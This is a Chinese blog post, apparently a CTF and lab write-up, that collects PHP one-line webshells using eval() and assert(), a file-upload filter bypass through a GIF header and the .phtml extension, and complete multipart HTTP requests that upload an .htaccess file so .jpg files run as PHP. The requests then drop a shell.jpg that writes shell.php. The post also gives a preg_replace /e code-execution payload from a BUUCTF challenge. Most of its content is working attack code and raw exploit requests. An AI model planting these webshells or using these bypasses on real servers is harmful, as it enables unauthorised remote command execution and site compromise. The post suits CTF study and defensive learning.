PHP一句话木马多种变形

环境:phpstudy_pro

一、上传常规木马

1)eval()函数

命令执行脚本:

//hacker.php
<?php
eval($_GET["cmd"]);
?>

浏览器访问:http://127.0.0.1/hacker.php?cmd=system('whoami');

传入的参数必须为PHP代码,既需要以分号结尾。
命令執行:cmd=system(whoami);

post方式:

<?php @eval($_POST['cmd']);?>

Content-Type: application/x-www-form-urlencoded

2)assert()函数

命令执行脚本:

//assert.php
<?php
@assert($_GET['cmd']);
?>

浏览器访问:http://127.0.0.1/assert.php?cmd=system("whoami")

assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
命令執行:cmd=system(whoami)

3)通过木马获取phpinfo信息:

<?php
//hacker.php
eval($_GET["cmd"]);
?>

浏览器访问:http://127.0.0.1/hacker.php?cmd=phpinfo();

// phpinfo.php
<?php
phpinfo()
?>

浏览器访问:http://127.0.0.1/phpinfo.php

二、绕过图片、< 检测上传木马

<script language='php'>eval($_POST['theoyu']);</script>

图片绕过:

  • 修改.php.phtml
  • 修改Content-Type: application/x-phpContent-Type: image/jpeg
------WebKitFormBoundaryZR3NohFpHxMDED09
Content-Disposition: form-data; name="file"; filename="gsl.phtml"
Content-Type: image/jpeg

GIF98
<script language='php'>eval($_POST['theoyu']);</script>

------WebKitFormBoundaryZR3NohFpHxMDED09
Content-Disposition: form-data; name="submit"

$
------WebKitFormBoundaryZR3NohFpHxMDED09--

使用中国蚁剑连接shell:
image
image
image

三、通过使用.htaccess将jpg当做php,上传木马

通过 fuzzing 发现,可以上传 .jpg、.html、.htaccess 文件,PHP 相关的文件均无法上传。
因此,可以选择上传 .htaccess 文件,让后端将所有 .jpg 文件都当作 PHP 文件进行处理。

点击查看代码
POST /upload.php HTTP/1.1
Host: e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Length: 366
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Sk1DZ94nzwAeYMU
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.200 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=31105bfc162d7bf0f9038bca5dbad899
Connection: keep-alive

------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

<IfModule mime_module>
AddType application/x-httpd-php .jpg
</IfModule>

------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundary2Sk1DZ94nzwAeYMU--

image

随后,上传一个写入 PHP Webshell 的 jpg 文件,让用户访问该 jpg 文件时,就生成 shell.php 文件。

点击查看代码
POST /upload.php HTTP/1.1
Host: e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2Sk1DZ94nzwAeYMU
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.200 Safari/537.36 Qaxbrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e5f5ea0d-27a5-4c47-b380-94f07e70d15d.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=31105bfc162d7bf0f9038bca5dbad899
Connection: keep-alive

------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="uploaded"; filename="shell.jpg"
Content-Type: image/png

<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST[cmd]) ?>'); ?>
------WebKitFormBoundary2Sk1DZ94nzwAeYMU
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundary2Sk1DZ94nzwAeYMU--

image

四、preg_replace 函数/e模式的代码执行漏洞

当我们需要用到的参数,不能直接传入时,可以使用 \S*
\S*表示匹配非空格以外的所有字符 这也我们就能够匹配我们想要的命令执行函数了

?\S*=${getFlag()}&cmd=system('ls /');
${getFlag()}表示我们将代码中原本就有的一个函数作为参数,传入,cmd是该函数的参数
\S*会匹配所有参数

image
其中next.php源码

点击查看代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

参考:buuctf-web-[BJDCTF2020]ZJCTF,不过如此

参考:https://www.cnblogs.com/bugxf/p/16015227.html
https://blog.csdn.net/qq_63969018/article/details/130034186
https://www.cnblogs.com/imtaieee/p/18522721

posted @ 2025-01-08 17:06  权杖攻城狮  阅读(415)  评论(0)    收藏  举报